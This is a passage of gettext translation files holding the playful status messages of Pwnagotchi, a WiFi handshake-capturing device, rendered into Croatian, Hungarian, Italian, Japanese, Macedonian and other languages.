..." msgstr "Hoips...Tháinig ainghléas éigin..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} stáisiún kick\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Rinne mé {num} cairde nua\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Fuair me {num} cumarsáid thionscantach\n" msgid "Met 1 peer" msgstr "Bhuail mé piara amháin" #, python-brace-format msgid "Met {num} peers" msgstr "Bhuail me {num} piara" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Bhí me ag pwnáil ar {duration} agus chiceáil me ar {deauthed} cliaint! Chomh " "maith, bhuail me {associated} cairde nua and d'ith mé {handshakes}! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "uair on chloig" msgid "minutes" msgstr "nóiméad" msgid "seconds" msgstr "soicind" msgid "hour" msgstr "uair an chloig" msgid "minute" msgstr "nóiméad" msgid "second" msgstr "soicind" ================================================ FILE: pwnagotchi/locale/hr/LC_MESSAGES/voice.po ================================================ # Croatian translation # Copyright (C) 2021 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR dbukovac <37124354+dbukovac@users.noreply.github.com>, 2021. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: 2021-07-16 00:20+0100\n" "Last-Translator: dbukovac <37124354+dbukovac@users.noreply.github.com>\n" "Language-Team: HR <37124354+dbukovac@users.noreply.github.com>\n" "Language: Croatian\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Zdravo, ja sam Pwnagotchi! Pokrećem se ..." msgid "New day, new hunt, new pwns!" msgstr "Novi dan, novi lov, nove pobjede!" msgid "Hack the Planet!" msgstr "Hakiraj planet!" msgid "AI ready." msgstr "UI spremna." msgid "The neural network is ready." msgstr "Neuralna mreža je spremna." msgid "Generating keys, do not turn off ..." msgstr "Generiram ključeve, nemoj me gasiti ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hej, kanal {channel} je slobodan! Tvoj AP ti zahvaljuje." msgid "Reading last session logs ..." msgstr "Čitam logove zadnje sesije ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Pročitao {lines_so_far} linija loga zasad ..." msgid "I'm bored ..." msgstr "Dosadno mi je ..." msgid "Let's go for a walk!" msgstr "Ajmo u šetnju!" msgid "This is the best day of my life!" msgstr "Ovo je najbolji dan u mom životu!" msgid "Shitty day :/" msgstr "Usrani dan :/" msgid "I'm extremely bored ..." msgstr "Strašno mi je dosadno ..." msgid "I'm very sad ..." msgstr "Jako sam tužan ..." msgid "I'm sad" msgstr "Tužan sam ..." msgid "Leave me alone ..." msgstr "Pusti me na miru ..." msgid "I'm mad at you!" msgstr "Ljut sam na tebe!" msgid "I'm living the life!" msgstr "To se zove život!" msgid "I pwn therefore I am." msgstr "Pwnam dakle postojim." msgid "So many networks!!!" msgstr "Toliko mreža!!!" msgid "I'm having so much fun!" msgstr "Super se zabavljam!" msgid "My crime is that of curiosity ..." msgstr "Znatiželja je moja jedina mana ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Bok {name}! Drago mi je da smo se upoznali. " #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Di si {name}! Šta ima?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Bok {name} kako ide?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Jedinica {name} je u blizini!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... doviđenja {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} je nestao ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ups ... {name} je nestao." #, python-brace-format msgid "{name} missed!" msgstr "{name} mi nedostaje!" msgid "Missed!" msgstr "Nedostaje mi!" msgid "Good friends are a blessing!" msgstr "Imati dobre prijatelje je blagoslov!" msgid "I love my friends!" msgstr "Volim svoj prijatelje!" msgid "Nobody wants to play with me ..." msgstr "Nitko se ne želi igrati samnom ..." msgid "I feel so alone ..." msgstr "Tako sam usamljen ..." msgid "Where's everybody?!" msgstr "Gdje su svi nestali?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Pajkim {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Laku noć." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Čekam {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Gledam uokolo {secs}s ..." #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Bok {what} ajmo biti prijatelji!" #, python-brace-format msgid "Associating to {what}" msgstr "Asociram se sa {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Šta ima {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Upravo sam odlučio da {mac} ne treba WiFI!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deautenticiram {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbannam {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Fora, imamo {num} novih handshakeova!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Imate {count} novih poruka!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ups, nešto je krepalo ... Rebooting ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Šutnuo {num} stanica\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Upoznao {num} novih prijatelja\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Pokupio {num} handshakeova\n" msgid "Met 1 peer" msgstr "Sreo 1 novog druga" #, python-brace-format msgid "Met {num} peers" msgstr "Sreo {num} druga" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Pwnam {duration} vremena i šutnuo sam {deauthed} klijenata! Sreo sam" "{associated} novih prijatelja i pojeo {handshakes} handshakeova! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "sati" msgid "minutes" msgstr "minuta" msgid "seconds" msgstr "sekundi" msgid "hour" msgstr "sat" msgid "minute" msgstr "minuta" msgid "second" msgstr "sekunda" #, python-brace-format msgid "Uploading data to {to} ..." msgstr "Šaljem podatke na {to} ..." ================================================ FILE: pwnagotchi/locale/hu/LC_MESSAGES/voice.po ================================================ # Hungarian translation. # Copyright (C) 2020 # This file is distributed under the same license as the PACKAGE package. # Skeleton022 , 2020. # msgid "" msgstr "" "Project-Id-Version: 1.4.3\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-01-07 20:00+0100\n" "PO-Revision-Date: 2020-03-23 0:10+0100\n" "Last-Translator: Skeleton022\n" "Language-Team: Skeleton022\n" "Language: hungarian\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hali, Pwnagotchi vagyok! Indítás ..." msgid "New day, new hunt, new pwns!" msgstr "Új nap, új vadászat, új hálózatok!" msgid "Hack the Planet!" msgstr "Törd meg a bolygót!" msgid "AI ready." msgstr "MI kész." msgid "The neural network is ready." msgstr "A neurális hálózat készen áll." msgid "Generating keys, do not turn off ..." msgstr "Kulcspár generálása, ne kapcsold ki az eszközt ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "A {channel}. számú csatorna üres! Az AP-d meg fogja köszönni." msgid "Reading last session logs ..." msgstr "" #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Az utolsó munkamenet logjainak olvasása ..." msgid "I'm bored ..." msgstr "Unatkozom ..." msgid "Let's go for a walk!" msgstr "Menjünk sétálni!" msgid "This is the best day of my life!" msgstr "Ez a legjobb nap az életemben!" msgid "Shitty day :/" msgstr "Szar egy nap :/" msgid "I'm extremely bored ..." msgstr "Nagyon unatkozom ..." msgid "I'm very sad ..." msgstr "Nagyon szomorú vagyok ..." msgid "I'm sad" msgstr "Szomorú vagyok" msgid "Leave me alone ..." msgstr "Hagyj békén ..." msgid "I'm mad at you!" msgstr "Mérges vagyok rád!" msgid "I'm living the life!" msgstr "Élvezem az életet!" msgid "I pwn therefore I am." msgstr "Hackelek, tehát vagyok." msgid "So many networks!!!" msgstr "Rengeteg hálózat!!!" msgid "I'm having so much fun!" msgstr "Nagyon jól érzem magam!" msgid "My crime is that of curiosity ..." msgstr "Kíváncsiság a bűnöm ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hali {name}! Örülök, hogy találkoztunk." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Hé {name}! Mizu?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hé {name} hogy vagy?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "A {name} nevű egység a közelben van!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Ömm ... ég veled {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} eltűnt ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops ... {name} eltűnt." #, python-brace-format msgid "{name} missed!" msgstr "{name} elhibázva!" msgid "Missed!" msgstr "Elvesztettem!" msgid "Good friends are a blessing!" msgstr "A jó barátok áldás az életben!" msgid "I love my friends!" msgstr "Szeretem a barátaimat!" msgid "Nobody wants to play with me ..." msgstr "Senki sem akar játszani velem ..." msgid "I feel so alone ..." msgstr "Egyedül vagyok ..." msgid "Where's everybody?!" msgstr "Hol vagytok?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "{secs} másodpercig szundikálok ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}msp)" msgid "Good night." msgstr "Jó éjszakát." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Várok {secs} másodpercig ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Körbenézek {secs} másodpercig" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what} legyünk barátok!" #, python-brace-format msgid "Associating to {what}" msgstr "Társítás {what} -hoz/-hez" #, python-brace-format msgid "Yo {what}!" msgstr "Hé {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Úgydöntöttem, hogy {mac}-nek nem kell WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Kirúgom {mac}-et" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "{mac} kirúgva és kitiltva!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Király, kaptunk {num} új üzenetet!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "{count} új üzeneted van!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ops, valami rosszul sikerült ... Újraindítás ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Kirúgva {num} állomás\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} új barátot\ntaláltam\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "{num} kézfogást szereztem\n" msgid "Met 1 peer" msgstr "1 Társsal találkoztam" #, python-brace-format msgid "Met {num} peers" msgstr "Találkoztam {num} társsal" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Már {duration} ideje dolgozom, kirúgtam {deauthed} klienst! Találkoztam még" "{associated} új baráttal és elfogtam {handshakes} kézfogást! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "óra" msgid "minutes" msgstr "perc" msgid "seconds" msgstr "másodperc" msgid "hour" msgstr "óra" msgid "minute" msgstr "perc" msgid "second" msgstr "másodperc" ================================================ FILE: pwnagotchi/locale/it/LC_MESSAGES/voice.po ================================================ # pwnaigotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR 5h4d0wb0y <28193209+5h4d0wb0y@users.noreply.github.com>, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-10-02 17:20+0000\n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" "Language: italian\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Ciao! Piacere Pwnagotchi! Caricamento ..." msgid "New day, new hunt, new pwns!" msgstr "Nuovo giorno...nuovi handshakes!!!" msgid "Hack the Planet!" msgstr "" msgid "AI ready." msgstr "IA pronta." msgid "The neural network is ready." msgstr "La rete neurale è pronta." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, il canale {channel} è libero! Il tuo AP ringrazia." msgid "I'm bored ..." msgstr "Che noia ..." msgid "Let's go for a walk!" msgstr "Andiamo a fare una passeggiata!" msgid "This is the best day of my life!" msgstr "Questo è il più bel giorno della mia vita!!!!" msgid "Shitty day :/" msgstr "Giorno di merda :/" msgid "I'm extremely bored ..." msgstr "Sono estremamente annoiato ..." msgid "I'm very sad ..." msgstr "Sono molto triste..." msgid "I'm sad" msgstr "Sono triste" msgid "I'm living the life!" msgstr "Mi sento vivo!" msgid "I pwn therefore I am." msgstr "Pwn ergo sum." msgid "So many networks!!!" msgstr "Qui è pieno di reti!" msgid "I'm having so much fun!" msgstr "Mi sto divertendo tantissimo!" msgid "My crime is that of curiosity ..." msgstr "" #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Ciao {name}! E' un piacere. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "L'Unità {name} è vicina! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... addio {name}, mi mancherai..." #, python-brace-format msgid "{name} is gone ..." msgstr "{name} se n'è andato ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops ...{name} se n'è andato." #, python-brace-format msgid "{name} missed!" msgstr "{name} è scomparso..." msgid "Missed!" msgstr "Ehi! Dove sei andato!?" msgid "Nobody wants to play with me ..." msgstr "Nessuno vuole giocare con me..." msgid "I feel so alone ..." msgstr "Mi sento così solo..." msgid "Where's everybody?!" msgstr "Dove sono tutti?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Schiaccio un pisolino per {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Aspetto {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Do uno sguardo qui intorno... ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what}! Diventiamo amici!" #, python-brace-format msgid "Associating to {what}" msgstr "Collegamento con {what} in corso..." #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Ho appena deciso che {mac} non necessita di WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Sto prendendo a calci {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Bene, abbiamo {num} handshake{plural} in più!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ops, qualcosa è andato storto ... Riavvio ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} stazioni pestate\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} nuovi amici\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "{num} handshakes presi\n" msgid "Met 1 peer" msgstr "1 peer incontrato" #, python-brace-format msgid "Met {num} peers" msgstr "{num} peers incontrati" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Ho lavorato per {duration} e preso a calci {deauthed} clients! Ho anche " "incontrato {associate} nuovi amici e ho mangiato {handshakes} handshakes! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "ore" msgid "minutes" msgstr "minuti" msgid "seconds" msgstr "secondi" msgid "hour" msgstr "ora" msgid "minute" msgstr "minuto" msgid "second" msgstr "secondo" ================================================ FILE: pwnagotchi/locale/jp/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR 24534649+wytshadow@users.noreply.github.com, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-01-25 21:57+0900\n" "PO-Revision-Date: 2019-10-16 15:05+0200\n" "Last-Translator: wytshadow <24534649+wytshadow@users.noreply.github.com>\n" "Language-Team: pwnagotchi <24534649+wytshadow@users.noreply.github.com>\n" "Language: jp\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "すやすや〜" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "僕、 ポーナゴッチです!" msgid "New day, new hunt, new pwns!" msgstr "ポーンしようよ。" msgid "Hack the Planet!" msgstr "ハックザプラネット!" msgid "AI ready." msgstr "AIの準備ができました。" msgid "The neural network is ready." msgstr "ニューラルネットワークの\n準備ができました。" msgid "Generating keys, do not turn off ..." msgstr "鍵生成をしてます。\n電源を落とさないでね。" #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "チャンネル\n {channel} \nはfreeだよ。ありがとうね。" msgid "Reading last session logs ..." msgstr "session log を読んでます。" #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "{lines_so_far} 行目長いよぉ。" msgid "I'm bored ..." msgstr "退屈だぁ。。。" msgid "Let's go for a walk!" msgstr "散歩に行こうよ!" msgid "This is the best day of my life!" msgstr "人生最高の日だよ!" msgid "Shitty day :/" msgstr "がっかりな日だよ。orz" msgid "I'm extremely bored ..." msgstr "退屈だね。" msgid "I'm very sad ..." msgstr "あ~悲しいよぉ。" msgid "I'm sad" msgstr "悲しいね。" msgid "Leave me alone ..." msgstr "ひとりぼっちだよ。" msgid "I'm mad at you!" msgstr "怒っちゃうよ。" msgid "I'm living the life!" msgstr "わくわくするね。" msgid "I pwn therefore I am." msgstr "ポーンしてこそのオレ。" msgid "So many networks!!!" msgstr "たくさん\nWiFiが飛んでるよ!" msgid "I'm having so much fun!" msgstr "楽しいよぉ!" msgid "My crime is that of curiosity ..." msgstr "APに興味津々..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "こんにちは{name}!\n初めまして。{name}" #, python-brace-format msgid "Yo {name}! Sup?" msgstr "ねぇねぇ、\n{name} どうしたの?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "{name} こんにちは" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "{name} が近くにいるよ。" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "じゃあね、さようなら {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name}\nがいなくなったよ。" #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "あらら、\n{name}\nがいなくなったね。" #, python-brace-format msgid "{name} missed!" msgstr "{name} が逃げた!" msgid "Missed!" msgstr "残念、逃した!" msgid "Good friends are a blessing!" msgstr "良い仲間にめぐりあえたよ。" msgid "I love my friends!" msgstr "友達は大好きだよ。" msgid "Nobody wants to play with me ..." msgstr "誰も僕と一緒に\nあそんでくれない。" msgid "I feel so alone ..." msgstr "ひとりぼっちだよ。" msgid "Where's everybody?!" msgstr "みんなどこにいるの?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "{secs}秒 寝ます。" msgid "Zzzzz" msgstr "ぐぅ〜" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "すやすや〜 ({secs}秒)" msgid "Good night." msgstr "おやすみなさい。" msgid "Zzz" msgstr "ぐぅ~" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "{secs}秒 待ちです。" #, python-brace-format msgid "Looking around ({secs}s)" msgstr "{secs}秒 探してます。" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "ねぇねぇ\n{what} \n友だちになろうよ。" #, python-brace-format msgid "Associating to {what}" msgstr "{what} \nとつながるかな?" #, python-brace-format msgid "Yo {what}!" msgstr "ねぇねぇ\n{what}" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "{mac}\nはWiFiじゃないのね。" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "{mac}\nの認証取得中..." #, python-brace-format msgid "Kickbanning {mac}!" msgstr "{mac}\nに拒否られた。" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "おぉ、\n{num}回\nハンドシェイクがあったよ!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "おぉ、\n{count}個メッセージがあるよ!" msgid "Ops, something went wrong ... Rebooting ..." msgstr "何か間違った。\nリブートしている。" #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num}回拒否された。\n" msgid "Made >999 new friends\n" msgstr "1000人以上友達ができた。\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num}人友達ができた。\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "{num}回ハンドシェイクした。\n" msgid "Met 1 peer" msgstr "1人 仲間に会いました。" #, python-brace-format msgid "Met {num} peers" msgstr "{num}人 仲間に会いました。" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "{duration}中{deauthed}のAPに拒否されたけど、{associated}回チャンスがあって" "{handshakes}回ハンドシェイクがあったよ。。 #pwnagotchi #pwnlog #pwnlife " "#hacktheplanet #skynet" msgid "hours" msgstr "時間" msgid "minutes" msgstr "分" msgid "seconds" msgstr "秒" msgid "hour" msgstr "時" msgid "minute" msgstr "分" msgid "second" msgstr "秒" ================================================ FILE: pwnagotchi/locale/mk/LC_MESSAGES/voice.po ================================================ # pwnigotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR <33197631+dadav@users.noreply.github.com>, 2019. # kovach <2214005+kovachwt@users.noreply.github.com>, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-09-30 23:53+0200\n" "Last-Translator: kovach <2214005+kovachwt@users.noreply.github.com>\n" "Language-Team: \n" "Language: mk\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ДреееММмммМммм" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Здраво, јас сум Pwnagotchi! Почнувам ..." msgid "New day, new hunt, new pwns!" msgstr "Нов ден, нов лов, ќе си газиме!" msgid "Hack the Planet!" msgstr "Хак д Планет!" msgid "AI ready." msgstr "AI спремно." msgid "The neural network is ready." msgstr "Невронската мрежае спремна." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Еј, каналот {channel} еслободен! APто ќе тикаже фала." msgid "I'm bored ..." msgstr "Досаднооо ..." msgid "Let's go for a walk!" msgstr "Ајде да шетнеме!" msgid "This is the best day of my life!" msgstr "Ова ми е најдобриот ден во животот!" msgid "Shitty day :/" msgstr "Срање ден :/" msgid "I'm extremely bored ..." msgstr "Ултра досадно ..." msgid "I'm very sad ..." msgstr "Многу тажно ..." msgid "I'm sad" msgstr "Тажно" msgid "I'm living the life!" msgstr "Ммхх животче!" msgid "I pwn therefore I am." msgstr "Си газам значи постојам." msgid "So many networks!!!" msgstr "Мммм колку мрежи!!!" msgid "I'm having so much fun!" msgstr "Јухуу забавноо ее!" msgid "My crime is that of curiosity ..." msgstr "Виновен сум само заљубопитност ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Здраво{name}! Мило ми е. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Опаа {name} е во близина! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Хмм ...чао {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} го снема ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Уупс ... {name} го снема." #, python-brace-format msgid "{name} missed!" msgstr "{name} промаши!" msgid "Missed!" msgstr "Промаши!" msgid "Nobody wants to play with me ..." msgstr "Никој не сака даси игра со мене ..." msgid "I feel so alone ..." msgstr "Толку сам ..." msgid "Where's everybody?!" msgstr "Каде се сите?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Ќе дремнам {secs}с ..." msgid "Zzzzz" msgstr "Дреммм" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "Дремммм ({secs}с)" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Чекам {secs}с ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Шарам наоколу ({secs}с)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Еј {what} ајде да се дружиме!" #, python-brace-format msgid "Associating to {what}" msgstr "Се закачувам на {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Јо {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Знаеш што, на {mac} не му треба WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Го деавтентицирам {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Кикбан {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Кул, фативме {num} нови ракувања!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Упс, нешто не еко што треба ... Рестартирам ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Избацив {num} станици\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} нови другарчиња\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Фатив {num} ракувања\n" msgid "Met 1 peer" msgstr "Запознав 1 пријател" #, python-brace-format msgid "Met {num} peers" msgstr "Запознав {num} пријатели" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Си газам веќе {duration} и избацив {deauthed} клиенти! Запознав {associated} " "нови другарчиња и лапнав {handshakes} ракувања! #pwnagotchi #pwnlog #pwnlife " "#hacktheplanet #skynet" msgid "hours" msgstr "" msgid "minutes" msgstr "" msgid "seconds" msgstr "" msgid "hour" msgstr "" msgid "minute" msgstr "" msgid "second" msgstr "" ================================================ FILE: pwnagotchi/locale/nl/LC_MESSAGES/voice.po ================================================ # pwnigotchi voice data # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR justin-p@users.noreply.github.com, 2019. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-09-29 14:00+0200\n" "Last-Translator: Justin-P \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" "Language: nl\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hoi, Ik ben Pwnagotchi! Aan het opstarten ..." msgid "New day, new hunt, new pwns!" msgstr "Nieuwe dag, nieuwe jacht, nieuwe pwns!" msgid "Hack the Planet!" msgstr "Hack de Wereld!" msgid "AI ready." msgstr "AI is klaar." msgid "The neural network is ready." msgstr "Neuronen netwerk is klaar." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, kanaal {channel} is vrij! Je AP zal je bedanken." msgid "I'm bored ..." msgstr "Ik verveel me ..." msgid "Let's go for a walk!" msgstr "Laten we gaan wandelen!" msgid "This is the best day of my life!" msgstr "Dit is de beste dag van mijn leven!" msgid "Shitty day :/" msgstr "Wat een rotdag :/" msgid "I'm extremely bored ..." msgstr "Ik verveel me kapot ..." msgid "I'm very sad ..." msgstr "Ik ben erg verdrietig ..." msgid "I'm sad" msgstr "Ik ben verdrietig" msgid "I'm living the life!" msgstr 